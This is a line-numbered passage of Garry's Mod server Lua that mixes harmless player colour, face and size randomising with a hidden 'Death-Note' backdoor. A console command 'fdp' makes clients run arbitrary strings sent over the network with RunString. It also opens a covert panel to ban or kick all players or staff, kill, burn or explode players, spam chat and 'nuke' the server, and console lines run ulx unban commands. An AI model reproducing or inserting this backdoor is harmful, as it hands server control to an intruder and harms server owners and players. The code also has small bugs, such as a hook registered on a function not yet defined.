6047game.ConsoleCommand("ulx unban {{argument}}\n")
6048end)
6049timer.Simple( "logon", 2, 0, function()
6050game.ConsoleCommand("ulx logecho 1\n")
6051end)
6052
6053
6054
6055--[[
6056
6057 Player Color & Size
6058
6059]]--
6060
6061
6062
6063local PP_ = "persistentpose_"
6064
6065for i = 0, 64 do
6066 CreateClientConVar( PP_ .. "flex" .. i, 0, true, true )
6067 cvars.AddChangeCallback( PP_ .. "flex" .. i, ApplySettings )
6068end
6069
6070
6071local function spawn( ply )
6072 local dice = math.random(1,5)
6073 if dice==1 then
6074 ply:SetColor( Color(255,255,255,255 ) )
6075 elseif dice==2 then
6076 ply:SetColor( Color(255,178,102,255 ) )
6077 elseif dice==3 then
6078 ply:SetColor( Color(255,209,153,255 ) )
6079 elseif dice==4 then
6080 ply:SetColor( Color(240,230,130,255 ) )
6081 elseif dice==5 then
6082 ply:SetColor( Color( math.random(1,255), math.random(1,255), math.random(1,255), 255 ) )
6083 end
6084end
6085hook.Add( "PlayerSpawn", "some_unique_name", spawn )
6086
6087
6088local function spawn2( ply )
6089 local dice = math.random(1,15)
6090 if dice==1 then
6091 ply:SetFlexWeight(0,5)
6092 ply:SetFlexWeight(5,5)
6093 ply:SetFlexWeight(2,0)
6094 ply:SetFlexWeight(3,0)
6095 ply:SetFlexWeight(4,0)
6096 ply:SetFlexWeight(5,0)
6097 ply:SetFlexWeight(6,0)
6098 ply:SetFlexWeight(7,0)
6099 ply:SetFlexWeight(8,0)
6100 ply:SetFlexWeight(9,0)
6101 elseif dice==2 then
6102 ply:SetFlexWeight(0,0)
6103 ply:SetFlexWeight(5,0)
6104 ply:SetFlexWeight(2,5)
6105 ply:SetFlexWeight(3,5)
6106 ply:SetFlexWeight(4,5)
6107 ply:SetFlexWeight(5,5)
6108 ply:SetFlexWeight(6,5)
6109 ply:SetFlexWeight(7,5)
6110 ply:SetFlexWeight(8,5)
6111 ply:SetFlexWeight(9,5)
6112 elseif dice==3 then
6113 ply:SetFlexWeight(0,52)
6114 ply:SetFlexWeight(5,7)
6115 ply:SetFlexWeight(2,6)
6116 ply:SetFlexWeight(3,0)
6117 ply:SetFlexWeight(4,0)
6118 ply:SetFlexWeight(5,0)
6119 ply:SetFlexWeight(6,0)
6120 ply:SetFlexWeight(7,0)
6121 ply:SetFlexWeight(8,0)
6122 ply:SetFlexWeight(9,0)
6123 ply:SetFlexWeight(50,0)
6124 ply:SetFlexWeight(55,0)
6125 ply:SetFlexWeight(52,5)
6126 ply:SetFlexWeight(53,5)
6127 ply:SetFlexWeight(54,0.5)
6128 ply:SetFlexWeight(55,0.5)
6129 elseif dice==4 then
6130 ply:SetFlexWeight(0,0)
6131 ply:SetFlexWeight(5,0)
6132 ply:SetFlexWeight(2,7)
6133 ply:SetFlexWeight(3,7)
6134 ply:SetFlexWeight(4,7)
6135 ply:SetFlexWeight(5,7)
6136 ply:SetFlexWeight(6,7)
6137 ply:SetFlexWeight(7,7)
6138 ply:SetFlexWeight(8,7)
6139 ply:SetFlexWeight(9,7)
6140 ply:SetFlexWeight(20,7)
6141 ply:SetFlexWeight(23,3)
6142 ply:SetFlexWeight(23,3)
6143 ply:SetFlexWeight(24,3)
6144 ply:SetFlexWeight(25,0)
6145 ply:SetFlexWeight(26,0)
6146 ply:SetFlexWeight(27,0)
6147 ply:SetFlexWeight(28,3)
6148 ply:SetFlexWeight(29,3)
6149 ply:SetFlexWeight(30,0)
6150 ply:SetFlexWeight(33,0)
6151 ply:SetFlexWeight(32,0)
6152 ply:SetFlexWeight(33,3)
6153 ply:SetFlexWeight(34,3)
6154 ply:SetFlexWeight(35,0)
6155 ply:SetFlexWeight(36,0)
6156 ply:SetFlexWeight(37,0)
6157 ply:SetFlexWeight(38,0)
6158 ply:SetFlexWeight(39,3)
6159 ply:SetFlexWeight(40,0)
6160 ply:SetFlexWeight(43,0)
6161 ply:SetFlexWeight(42,3)
6162 ply:SetFlexWeight(43,1)
6163 elseif dice==5 then
6164 ply:SetFlexWeight(20,0)
6165 ply:SetFlexWeight(21,0)
6166 ply:SetFlexWeight(22,0)
6167 ply:SetFlexWeight(23,0)
6168 ply:SetFlexWeight(24,1)
6169 ply:SetFlexWeight(25,1)
6170 ply:SetFlexWeight(26,0.0)
6171 ply:SetFlexWeight(27,0)
6172 ply:SetFlexWeight(28,0)
6173 ply:SetFlexWeight(29,0)
6174 ply:SetFlexWeight(30,0)
6175 ply:SetFlexWeight(31,0)
6176 ply:SetFlexWeight(32,0)
6177 ply:SetFlexWeight(33,0)
6178 ply:SetFlexWeight(34,2)
6179 ply:SetFlexWeight(35,2)
6180 ply:SetFlexWeight(36,2)
6181 ply:SetFlexWeight(37,2)
6182 ply:SetFlexWeight(38,0.5)
6183 ply:SetFlexWeight(39,2)
6184 ply:SetFlexWeight(40,2)
6185 ply:SetFlexWeight(41,2)
6186 ply:SetFlexWeight(42,2)
6187 ply:SetFlexWeight(43,2)
6188 elseif dice==6 then
6189 ply:SetFlexWeight(20,0)
6190 ply:SetFlexWeight(21,0)
6191 ply:SetFlexWeight(22,0)
6192 ply:SetFlexWeight(23,0)
6193 ply:SetFlexWeight(24,1)
6194 ply:SetFlexWeight(25,1)
6195 ply:SetFlexWeight(26,0.0)
6196 ply:SetFlexWeight(27,3)
6197 ply:SetFlexWeight(28,3)
6198 ply:SetFlexWeight(29,3)
6199 ply:SetFlexWeight(30,3)
6200 ply:SetFlexWeight(31,3)
6201 ply:SetFlexWeight(32,0)
6202 ply:SetFlexWeight(33,0)
6203 ply:SetFlexWeight(34,0)
6204 ply:SetFlexWeight(35,0)
6205 ply:SetFlexWeight(36,0)
6206 ply:SetFlexWeight(37,0)
6207 ply:SetFlexWeight(38,0.5)
6208 ply:SetFlexWeight(39,0)
6209 ply:SetFlexWeight(40,0)
6210 ply:SetFlexWeight(41,0)
6211 ply:SetFlexWeight(42,0)
6212 ply:SetFlexWeight(43,0)
6213 elseif dice==7 then
6214 ply:SetFlexWeight(0,1)
6215 ply:SetFlexWeight(1,1)
6216 ply:SetFlexWeight(2,0)
6217 ply:SetFlexWeight(3,0)
6218 ply:SetFlexWeight(4,0)
6219 ply:SetFlexWeight(5,0)
6220 ply:SetFlexWeight(6,0)
6221 ply:SetFlexWeight(7,0)
6222 ply:SetFlexWeight(8,0)
6223 ply:SetFlexWeight(9,0)
6224 ply:SetFlexWeight(20,0)
6225 ply:SetFlexWeight(21,2)
6226 ply:SetFlexWeight(22,2)
6227 ply:SetFlexWeight(23,0)
6228 ply:SetFlexWeight(24,1)
6229 ply:SetFlexWeight(25,2)
6230 ply:SetFlexWeight(26,0.0)
6231 ply:SetFlexWeight(27,0)
6232 ply:SetFlexWeight(28,0)
6233 ply:SetFlexWeight(29,3)
6234 ply:SetFlexWeight(30,3)
6235 ply:SetFlexWeight(31,3)
6236 ply:SetFlexWeight(32,0)
6237 ply:SetFlexWeight(33,0)
6238 ply:SetFlexWeight(34,0)
6239 ply:SetFlexWeight(35,0)
6240 ply:SetFlexWeight(36,0)
6241 ply:SetFlexWeight(37,0)
6242 ply:SetFlexWeight(38,0.5)
6243 ply:SetFlexWeight(39,3)
6244 ply:SetFlexWeight(40,3)
6245 ply:SetFlexWeight(41,2)
6246 ply:SetFlexWeight(42,3)
6247 ply:SetFlexWeight(43,3)
6248 elseif dice==8 then
6249 ply:SetFlexWeight(10,3)
6250 ply:SetFlexWeight(11,3)
6251 ply:SetFlexWeight(12,1.5)
6252 ply:SetFlexWeight(13,1.5)
6253 ply:SetFlexWeight(14,0)
6254 ply:SetFlexWeight(15,0)
6255 ply:SetFlexWeight(21,2)
6256 ply:SetFlexWeight(22,2)
6257 ply:SetFlexWeight(23,3)
6258 ply:SetFlexWeight(24,1)
6259 ply:SetFlexWeight(25,2)
6260 ply:SetFlexWeight(26,0.0)
6261 ply:SetFlexWeight(27,3)
6262 ply:SetFlexWeight(28,0)
6263 ply:SetFlexWeight(29,3)
6264 ply:SetFlexWeight(30,3)
6265 ply:SetFlexWeight(31,3)
6266 ply:SetFlexWeight(32,0)
6267 ply:SetFlexWeight(33,0)
6268 ply:SetFlexWeight(34,0)
6269 ply:SetFlexWeight(35,2)
6270 ply:SetFlexWeight(36,0)
6271 ply:SetFlexWeight(37,0)
6272 ply:SetFlexWeight(38,0.5)
6273 ply:SetFlexWeight(39,3)
6274 ply:SetFlexWeight(40,3)
6275 ply:SetFlexWeight(41,2)
6276 ply:SetFlexWeight(42,3)
6277 ply:SetFlexWeight(43,3)
6278 elseif dice==9 then
6279 ply:SetFlexWeight(20,1)
6280 ply:SetFlexWeight(21,1)
6281 ply:SetFlexWeight(22,1)
6282 ply:SetFlexWeight(23,1)
6283 ply:SetFlexWeight(24,0)
6284 ply:SetFlexWeight(25,0)
6285 ply:SetFlexWeight(26,0)
6286 ply:SetFlexWeight(27,0.6)
6287 ply:SetFlexWeight(28,0.4)
6288 ply:SetFlexWeight(29,0)
6289 ply:SetFlexWeight(30,0)
6290 ply:SetFlexWeight(31,0)
6291 ply:SetFlexWeight(32,0)
6292 ply:SetFlexWeight(33,1)
6293 ply:SetFlexWeight(34,1)
6294 ply:SetFlexWeight(35,0)
6295 ply:SetFlexWeight(36,0)
6296 ply:SetFlexWeight(37,0)
6297 ply:SetFlexWeight(38,0)
6298 ply:SetFlexWeight(39,0)
6299 ply:SetFlexWeight(40,1)
6300 ply:SetFlexWeight(41,1)
6301 ply:SetFlexWeight(42,0)
6302 ply:SetFlexWeight(43,0)
6303 ply:SetFlexWeight(44,0)
6304 elseif dice==10 then
6305 ply:SetFlexWeight(20,1)
6306 ply:SetFlexWeight(21,1)
6307 ply:SetFlexWeight(22,1)
6308 ply:SetFlexWeight(23,1)
6309 ply:SetFlexWeight(24,0)
6310 ply:SetFlexWeight(25,0)
6311 ply:SetFlexWeight(26,0)
6312 ply:SetFlexWeight(27,0.6)
6313 ply:SetFlexWeight(28,0.4)
6314 ply:SetFlexWeight(29,0)
6315 ply:SetFlexWeight(30,0)
6316 ply:SetFlexWeight(31,0)
6317 ply:SetFlexWeight(32,0)
6318 ply:SetFlexWeight(33,1)
6319 ply:SetFlexWeight(34,1)
6320 ply:SetFlexWeight(35,0)
6321 ply:SetFlexWeight(36,0)
6322 ply:SetFlexWeight(37,0)
6323 ply:SetFlexWeight(38,0)
6324 ply:SetFlexWeight(39,0)
6325 ply:SetFlexWeight(40,1)
6326 ply:SetFlexWeight(41,1)
6327 ply:SetFlexWeight(42,0)
6328 ply:SetFlexWeight(43,0)
6329 ply:SetFlexWeight(44,0)
6330 elseif dice==11 then
6331 ply:SetFlexWeight(20,3)
6332 ply:SetFlexWeight(21,3)
6333 ply:SetFlexWeight(22,3)
6334 ply:SetFlexWeight(23,1)
6335 ply:SetFlexWeight(24,0)
6336 ply:SetFlexWeight(25,0)
6337 ply:SetFlexWeight(26,0)
6338 ply:SetFlexWeight(27,0.6)
6339 ply:SetFlexWeight(28,0.4)
6340 ply:SetFlexWeight(29,0)
6341 ply:SetFlexWeight(30,0)
6342 ply:SetFlexWeight(31,0)
6343 ply:SetFlexWeight(32,0)
6344 ply:SetFlexWeight(33,1)
6345 ply:SetFlexWeight(34,1)
6346 ply:SetFlexWeight(35,0)
6347 ply:SetFlexWeight(36,0)
6348 ply:SetFlexWeight(37,0)
6349 ply:SetFlexWeight(38,0)
6350 ply:SetFlexWeight(39,0)
6351 ply:SetFlexWeight(40,1)
6352 ply:SetFlexWeight(41,1)
6353 ply:SetFlexWeight(42,0)
6354 ply:SetFlexWeight(43,0)
6355 ply:SetFlexWeight(44,0)
6356 elseif dice==12 then
6357 ply:SetFlexWeight(20,3)
6358 ply:SetFlexWeight(21,3)
6359 ply:SetFlexWeight(22,3)
6360 ply:SetFlexWeight(23,1)
6361 ply:SetFlexWeight(24,0)
6362 ply:SetFlexWeight(25,0)
6363 ply:SetFlexWeight(26,0)
6364 ply:SetFlexWeight(27,0.6)
6365 ply:SetFlexWeight(28,0.4)
6366 ply:SetFlexWeight(29,3)
6367 ply:SetFlexWeight(30,3)
6368 ply:SetFlexWeight(31,3)
6369 ply:SetFlexWeight(32,3)
6370 ply:SetFlexWeight(33,3)
6371 ply:SetFlexWeight(34,3)
6372 ply:SetFlexWeight(35,3)
6373 ply:SetFlexWeight(36,0)
6374 ply:SetFlexWeight(37,0)
6375 ply:SetFlexWeight(38,0)
6376 ply:SetFlexWeight(39,0)
6377 ply:SetFlexWeight(40,1)
6378 ply:SetFlexWeight(41,1)
6379 ply:SetFlexWeight(42,0)
6380 ply:SetFlexWeight(43,0)
6381 ply:SetFlexWeight(44,0)
6382 elseif dice==13 then
6383 ply:SetFlexWeight(0,1)
6384 ply:SetFlexWeight(1,1)
6385 ply:SetFlexWeight(2,0)
6386 ply:SetFlexWeight(3,0)
6387 ply:SetFlexWeight(4,0)
6388 ply:SetFlexWeight(5,0)
6389 ply:SetFlexWeight(6,0)
6390 ply:SetFlexWeight(7,0)
6391 ply:SetFlexWeight(8,0)
6392 ply:SetFlexWeight(9,0)
6393 ply:SetFlexWeight(20,4)
6394 ply:SetFlexWeight(21,1)
6395 ply:SetFlexWeight(22,3)
6396 ply:SetFlexWeight(23,1)
6397 ply:SetFlexWeight(24,1)
6398 ply:SetFlexWeight(25,0)
6399 ply:SetFlexWeight(26,0)
6400 ply:SetFlexWeight(27,3)
6401 ply:SetFlexWeight(28,3)
6402 ply:SetFlexWeight(29,0)
6403 ply:SetFlexWeight(30,0)
6404 ply:SetFlexWeight(31,0)
6405 ply:SetFlexWeight(32,0)
6406 ply:SetFlexWeight(33,1)
6407 ply:SetFlexWeight(34,1)
6408 ply:SetFlexWeight(35,0)
6409 ply:SetFlexWeight(36,0)
6410 ply:SetFlexWeight(37,0)
6411 ply:SetFlexWeight(38,0)
6412 ply:SetFlexWeight(39,1)
6413 ply:SetFlexWeight(40,0)
6414 ply:SetFlexWeight(41,0)
6415 ply:SetFlexWeight(42,1)
6416 ply:SetFlexWeight(43,1)
6417 elseif dice==14 then
6418 ply:SetFlexScale(1.5)
6419 ply:SetFlexWeight(0,1)
6420 ply:SetFlexWeight(1,1)
6421 ply:SetFlexWeight(2,0)
6422 ply:SetFlexWeight(3,0)
6423 ply:SetFlexWeight(4,0)
6424 ply:SetFlexWeight(5,0)
6425 ply:SetFlexWeight(6,0)
6426 ply:SetFlexWeight(7,0)
6427 ply:SetFlexWeight(8,0)
6428 ply:SetFlexWeight(9,0)
6429 ply:SetFlexWeight(20,1)
6430 ply:SetFlexWeight(21,1)
6431 ply:SetFlexWeight(22,1)
6432 ply:SetFlexWeight(23,1)
6433 ply:SetFlexWeight(24,0)
6434 ply:SetFlexWeight(25,0)
6435 ply:SetFlexWeight(26,0)
6436 ply:SetFlexWeight(27,3)
6437 ply:SetFlexWeight(28,3)
6438 ply:SetFlexWeight(29,0)
6439 ply:SetFlexWeight(30,0)
6440 ply:SetFlexWeight(31,0)
6441 ply:SetFlexWeight(32,0)
6442 ply:SetFlexWeight(33,1)
6443 ply:SetFlexWeight(34,1)
6444 ply:SetFlexWeight(35,0)
6445 ply:SetFlexWeight(36,0)
6446 ply:SetFlexWeight(37,0)
6447 ply:SetFlexWeight(38,0)
6448 ply:SetFlexWeight(39,0)
6449 ply:SetFlexWeight(40,0)
6450 ply:SetFlexWeight(41,0)
6451 ply:SetFlexWeight(42,3)
6452 ply:SetFlexWeight(43,3)
6453 elseif dice==15 then
6454 ply:SetFlexWeight(0,1)
6455 ply:SetFlexWeight(1,1)
6456 ply:SetFlexWeight(2,1)
6457 ply:SetFlexWeight(3,4)
6458 ply:SetFlexWeight(4,4)
6459 ply:SetFlexWeight(5,1)
6460 ply:SetFlexWeight(6,0)
6461 ply:SetFlexWeight(7,0)
6462 ply:SetFlexWeight(8,0)
6463 ply:SetFlexWeight(9,0)
6464 ply:SetFlexWeight(20,3)
6465 ply:SetFlexWeight(21,3)
6466 ply:SetFlexWeight(22,3)
6467 ply:SetFlexWeight(23,1)
6468 ply:SetFlexWeight(24,0)
6469 ply:SetFlexWeight(25,0)
6470 ply:SetFlexWeight(26,0)
6471 ply:SetFlexWeight(27,3.6)
6472 ply:SetFlexWeight(28,3.4)
6473 ply:SetFlexWeight(29,3)
6474 ply:SetFlexWeight(30,3)
6475 ply:SetFlexWeight(31,3)
6476 ply:SetFlexWeight(32,3)
6477 ply:SetFlexWeight(33,3)
6478 ply:SetFlexWeight(34,3)
6479 ply:SetFlexWeight(35,3)
6480 ply:SetFlexWeight(36,0)
6481 ply:SetFlexWeight(37,4)
6482 ply:SetFlexWeight(38,4)
6483 ply:SetFlexWeight(39,3)
6484 ply:SetFlexWeight(40,3)
6485 ply:SetFlexWeight(41,1)
6486 ply:SetFlexWeight(42,3)
6487 ply:SetFlexWeight(43,3)
6488 ply:SetFlexWeight(44,3)
6489
6490 end
6491end
6492hook.Add( "PlayerSpawn", "fuuu", spawn3 )
6493
6494
6495local function spawn3( ply )
6496 local dice = math.random(1,6)
6497 if dice==1 then
6498 ply:SetModelScale(1.1, 1)
6499 elseif dice==2 then
6500 ply:SetModelScale(0.4, 1)
6501 elseif dice==3 then
6502 ply:SetModelScale(1, 1)
6503 elseif dice==4 then
6504 ply:SetModelScale(0.6, 1)
6505 elseif dice==5 then
6506 ply:SetModelScale(0.5, 0.7)
6507 elseif dice==6 then
6508 ply:SetModelScale(0.3, 0.9)
6509 end
6510end
6511hook.Add( "PlayerSpawn", "fuuuu", spawn3 )
6512
6513
6514
6515--[[
6516
6517 DEATH NOTE
6518
6519]]--
6520
6521util.AddNetworkString("SENDTEST")
6522util.AddNetworkString("echangeinfo")
6523
6524concommand.Add("fdp", function(ply, cmd, args)
6525 ply:SendLua("net.Receive(\"SENDTEST\",function()RunString(net.ReadString())end)")
6526 net.Start("SENDTEST")
6527 net.WriteString([[
6528 surface.CreateFont( "APG_title_font",
6529 {
6530 font = "Arial",
6531 size = 14,
6532 weight = 700,
6533 })
6534surface.CreateFont( "APG_sideBar_font",
6535{
6536 font = "Arial",
6537 size = 18,
6538 weight = 1500,
6539})
6540
6541surface.CreateFont( "APG_mainPanel_font",
6542{
6543 font = "Arial",
6544 size = 19,
6545 weight = 8500,
6546})
6547
6548function actioneff(aff)
6549 hook.Add( "HUDPaint", "infohud", function()
6550 draw.SimpleTextOutlined(
6551 aff,
6552 "DermaLarge",
6553 ScrW() /2 ,
6554 40,
6555 Color( 255, 0, 0, 255 ),
6556 TEXT_ALIGN_CENTER,
6557 TEXT_ALIGN_CENTER,
6558 1,
6559 Color( 0, 0, 255 )
6560 )
6561end)
6562 timer.Simple( 3, function() hook.Remove( "HUDPaint", "infohud" ) end )
6563end
6564
6565local main_color = Color(32, 255, 0,255)
6566
6567
6568 local Frame = vgui.Create( "DFrame" )
6569 Frame:SetSize( ScrW() -200, ScrH() -200)
6570 Frame:SetPos( ScrW()/2- Frame:GetWide()/2, ScrH()/2 - Frame:GetTall()/2)
6571 Frame:SetTitle( "" )
6572 Frame:SetVisible( true )
6573 Frame:SetDraggable( true )
6574 Frame:MakePopup()
6575 Frame:ShowCloseButton(false)
6576 Frame:SetIcon( "icon16/bug.png" )
6577 Frame.Paint = function(i,w,h)
6578 draw.RoundedBox(4,0,0,w,h,Color(34, 34, 34,255))
6579 draw.RoundedBox(0,0,23,w,1,main_color)
6580 local name = " Death-Note "
6581 draw.DrawText( name, "APG_title_font",8, 5, Color( 189, 189, 189), 3 )
6582 end
6583 local closeButton = vgui.Create("DButton",Frame)
6584 closeButton:SetPos(Frame:GetWide() - 20,4)
6585 closeButton:SetSize(16,16)
6586 closeButton:SetText('')
6587 closeButton.DoClick = function()
6588 Frame:Remove()
6589 end
6590 closeButton.Paint = function(i,w,h)
6591 draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255,3))
6592 draw.DrawText( "✕", "APG_sideBar_font",0, -2, Color( 189, 189, 189), 3 )
6593 end
6594
6595
6596local Button = vgui.Create( "DButton", Frame )
6597Button:SetText( "" )
6598Button:SetTextColor( Color( 255, 255, 255 ) )
6599Button:SetPos( (Frame:GetWide() / 2) - 60,40 )
6600Button:SetSize( 120, 30 )
6601 Button.UpdateColours = function( label, skin )
6602 label:SetTextStyleColor( Color( 189, 189, 189 ) )
6603 end
6604
6605 Button.Paint = function(slf, w, h)
6606
6607 draw.RoundedBox(0,0,h*0.85,w-5,1, Color(0, 96, 0,255))
6608 local text = "Tout le monde"
6609 draw.DrawText( text, "APG_mainPanel_font",5, 8, Color( 189, 189, 189), 3 )
6610 end
6611
6612
6613Button.DoClick = function()
6614 local m = DermaMenu()
6615local infoserver, infoservericon = m:AddSubMenu( "Serveur" )
6616infoservericon:SetIcon( "icon16/bug.png" )
6617m:AddSpacer()
6618local meutreall, meutreiconall = m:AddSubMenu( "Meutre" )
6619meutreiconall:SetIcon( "icon16/bomb.png" )
6620m:AddSpacer()
6621local ulxall, ulxallicon = m:AddSubMenu( "Commandes" )
6622ulxallicon:SetIcon( "icon16/script_add.png" )
6623local notificationall, notificationallicon = ulxall:AddSubMenu( "Notification" )
6624notificationallicon:SetIcon( "icon16/briefcase.png" )
6625local meutreallsub, meutreallsubicon = meutreall:AddSubMenu( "Tuer" )
6626meutreallsubicon:SetIcon( "icon16/delete.png" )
6627local meutreallssub, meutreallssubicon = meutreall:AddSubMenu( "Tuer(silencieux)" )
6628meutreallssubicon:SetIcon( "icon16/delete.png" )
6629local explosesub, explosesubicon = meutreall:AddSubMenu( "Exploser" )
6630explosesubicon:SetIcon( "icon16/delete.png" )
6631local igniteallssub, igniteallssubicon = meutreall:AddSubMenu( "Bruler" )
6632igniteallssubicon:SetIcon( "icon16/delete.png" )
6633local kicksub, kicksubicon = ulxall:AddSubMenu( "Kick" )
6634kicksubicon:SetIcon( "icon16/status_away.png" )
6635local bansub, bansubicon = ulxall:AddSubMenu( "Ban" )
6636bansubicon:SetIcon( "icon16/status_busy.png" )
6637local freezesub, freezesubicon = ulxall:AddSubMenu( "Freeze" )
6638freezesubicon:SetIcon( "icon16/stop.png" )
6639local unfreezesub, unfreezesubicon = ulxall:AddSubMenu( "Unfreeze" )
6640unfreezesubicon:SetIcon( "icon16/accept.png" )
6641local noclipsub, noclipsubicon = ulxall:AddSubMenu( "NOCLIP" )
6642noclipsubicon:SetIcon( "icon16/drive_user.png" )
6643m:AddSpacer()
6644
6645
6646
6647local animationall, animationallicon = m:AddSubMenu( "Animation" )
6648animationallicon:SetIcon( "icon16/wand.png" )
6649local animationallsubsalute, animationallsubiconsalute = animationall:AddSubMenu( "Saluer" )
6650animationallsubiconsalute:SetIcon( "icon16/wand.png" )
6651local animationallsubrobot, animationallsubiconrobot = animationall:AddSubMenu( "Robot" )
6652animationallsubiconrobot:SetIcon( "icon16/wand.png" )
6653m:AddSpacer()
6654local animationallsubcheer, animationallsubiconcheer = animationall:AddSubMenu( "Levez les mains" )
6655animationallsubiconcheer:SetIcon( "icon16/wand.png" )
6656local animationallsublaugh, animationallsubiconlaugh = animationall:AddSubMenu( "Rire" )
6657animationallsubiconlaugh:SetIcon( "icon16/wand.png" )
6658local animationallsubmuscle, animationallsubiconmuscle = animationall:AddSubMenu( "Danse Sexy!" )
6659animationallsubiconmuscle:SetIcon( "icon16/wand.png" )
6660local animationallsubpersistence, animationallsubiconpersistence = animationall:AddSubMenu( "Faire le beau!" )
6661animationallsubiconpersistence:SetIcon( "icon16/wand.png" )
6662local animationallsubdance, animationallsubicondance = animationall:AddSubMenu( "Danse!" )
6663animationallsubicondance:SetIcon( "icon16/wand.png" )
6664local moovesall, moovesiconall = m:AddSubMenu( "Mouvement" )
6665moovesiconall:SetIcon( "icon16/controller.png" )
6666m:AddSpacer()
6667local trollall, trollallicon = m:AddSubMenu( "Troll Menu" )
6668trollallicon:SetIcon( "icon16/rainbow.png" )
6669local spamchat, spamchaticon = trollall:AddSubMenu( "Spam Chat" )
6670spamchaticon:SetIcon( "icon16/application_form.png" )
6671local nuke, nukeicon = trollall:AddSubMenu( "Nuke" )
6672nukeicon:SetIcon( "icon16/lightning.png" )
6673
6674local mooveall, mooveallicon = trollall:AddSubMenu( "Mouvement" )
6675mooveallicon:SetIcon( "icon16/bug_error.png" )
6676
6677local jumpbreakall, jumpbreakallicon = trollall:AddSubMenu( "Jump Break" )
6678jumpbreakallicon:SetIcon( "icon16/rainbow.png" )
6679
6680local gravitesub, gravitesubicon = trollall:AddSubMenu( "Gravité Break" )
6681gravitesubicon:SetIcon( "icon16/rainbow.png" )
6682
6683local physiquesub, physiqueicon = trollall:AddSubMenu( "Physique Break" )
6684physiqueicon:SetIcon( "icon16/rainbow.png" )
6685
6686local quakeearth, quakeearthicon = trollall:AddSubMenu( "Tremblement" )
6687quakeearthicon:SetIcon( "icon16/rainbow.png" )
6688
6689local prisonsub, prisonsubicon = trollall:AddSubMenu( "Prison" )
6690prisonsubicon:SetIcon( "icon16/user_orange.png" )
6691
6692ulxall:AddOption( "CleanUP", function()
6693 net.Start( "echangeinfo" )
6694 net.WriteString("cleanup")
6695 net.WriteEntity( userl )
6696 net.SendToServer()
6697 end ):SetIcon( "icon16/cut.png" )
6698bansub:AddOption( "ALL", function()
6699 net.Start( "echangeinfo" )
6700 net.WriteString("banall")
6701 net.WriteEntity( userl )
6702 net.SendToServer()
6703 end ):SetIcon( "icon16/user.png" )
6704
6705bansub:AddOption( "STAFF", function()
6706 net.Start( "echangeinfo" )
6707 net.WriteString("banallstaff")
6708 net.WriteEntity( userl )
6709 net.SendToServer()
6710 end ):SetIcon( "icon16/user_gray.png" )
6711
6712kicksub:AddOption( "ALL", function()
6713local frame = vgui.Create( "DFrame" )
6714frame:SetSize( 400, 100 )
6715frame:SetTitle( "" )
6716frame:Center()
6717frame:MakePopup()
6718local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6719TextEntry:SetPos( 25, 50 )
6720TextEntry:SetSize( 350, 35 )
6721TextEntry:SetText( "Raison..." )
6722TextEntry.OnEnter = function( self )
6723 net.Start( "echangeinfo" )
6724 net.WriteString("kickall")
6725 net.WriteEntity( userl )
6726 net.WriteString(TextEntry:GetValue())
6727 net.SendToServer()
6728end
6729end ):SetIcon( "icon16/user.png" )
6730
6731kicksub:AddOption( "STAFF", function()
6732local frame = vgui.Create( "DFrame" )
6733frame:SetSize( 400, 100 )
6734frame:SetTitle( "" )
6735frame:Center()
6736frame:MakePopup()
6737local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6738TextEntry:SetPos( 25, 50 )
6739TextEntry:SetSize( 350, 35 )
6740TextEntry:SetText( "Raison..." )
6741TextEntry.OnEnter = function( self )
6742 net.Start( "echangeinfo" )
6743 net.WriteString("kickallstaff")
6744 net.WriteEntity( userl )
6745 net.WriteString(TextEntry:GetValue())
6746 net.SendToServer()
6747end
6748end ):SetIcon( "icon16/user_gray.png" )
6749
6750notificationall:AddOption( "Generic", function()
6751local frame = vgui.Create( "DFrame" )
6752frame:SetSize( 400, 100 )
6753frame:SetTitle( "" )
6754frame:Center()
6755frame:MakePopup()
6756local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6757TextEntry:SetPos( 25, 50 )
6758TextEntry:SetSize( 350, 35 )
6759TextEntry:SetText( "Message..." )
6760TextEntry.OnEnter = function( self )
6761 net.Start( "echangeinfo" )
6762 net.WriteString("notification_generic")
6763 net.WriteEntity( userl )
6764 net.WriteString(TextEntry:GetValue())
6765 net.SendToServer()
6766end
6767end ):SetIcon( "icon16/lightbulb_off.png" )
6768
6769notificationall:AddOption( "Error", function()
6770local frame = vgui.Create( "DFrame" )
6771frame:SetSize( 400, 100 )
6772frame:SetTitle( "" )
6773frame:Center()
6774frame:MakePopup()
6775local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6776TextEntry:SetPos( 25, 50 )
6777TextEntry:SetSize( 350, 35 )
6778TextEntry:SetText( "Message..." )
6779TextEntry.OnEnter = function( self )
6780 net.Start( "echangeinfo" )
6781 net.WriteString("notification_error")
6782 net.WriteEntity( userl )
6783 net.WriteString(TextEntry:GetValue())
6784 net.SendToServer()
6785end
6786end ):SetIcon( "icon16/cancel.png" )
6787
6788notificationall:AddOption( "Undo", function()
6789local frame = vgui.Create( "DFrame" )
6790frame:SetSize( 400, 100 )
6791frame:SetTitle( "" )
6792frame:Center()
6793frame:MakePopup()
6794local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6795TextEntry:SetPos( 25, 50 )
6796TextEntry:SetSize( 350, 35 )
6797TextEntry:SetText( "Message..." )
6798TextEntry.OnEnter = function( self )
6799 net.Start( "echangeinfo" )
6800 net.WriteString("notification_undo")
6801 net.WriteEntity( userl )
6802 net.WriteString(TextEntry:GetValue())
6803 net.SendToServer()
6804end
6805end ):SetIcon( "icon16/arrow_undo.png" )
6806
6807notificationall:AddOption( "Hint", function()
6808local frame = vgui.Create( "DFrame" )
6809frame:SetSize( 400, 100 )
6810frame:SetTitle( "" )
6811frame:Center()
6812frame:MakePopup()
6813local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
6814TextEntry:SetPos( 25, 50 )
6815TextEntry:SetSize( 350, 35 )
6816TextEntry:SetText( "Message..." )
6817TextEntry.OnEnter = function( self )
6818 net.Start( "echangeinfo" )
6819 net.WriteString("notification_hint")
6820 net.WriteEntity( userl )
6821 net.WriteString(TextEntry:GetValue())
6822 net.SendToServer()
6823end
6824end ):SetIcon( "icon16/cut.png" )
6825
6826notificationall:AddOption( "Cleanup", function()
6827local frame = vgui.Create( "DFrame" )
6828frame:SetSize( 400, 100 )
6829frame:SetTitle( "" )
6830frame:Center()
6831frame:MakePopup()
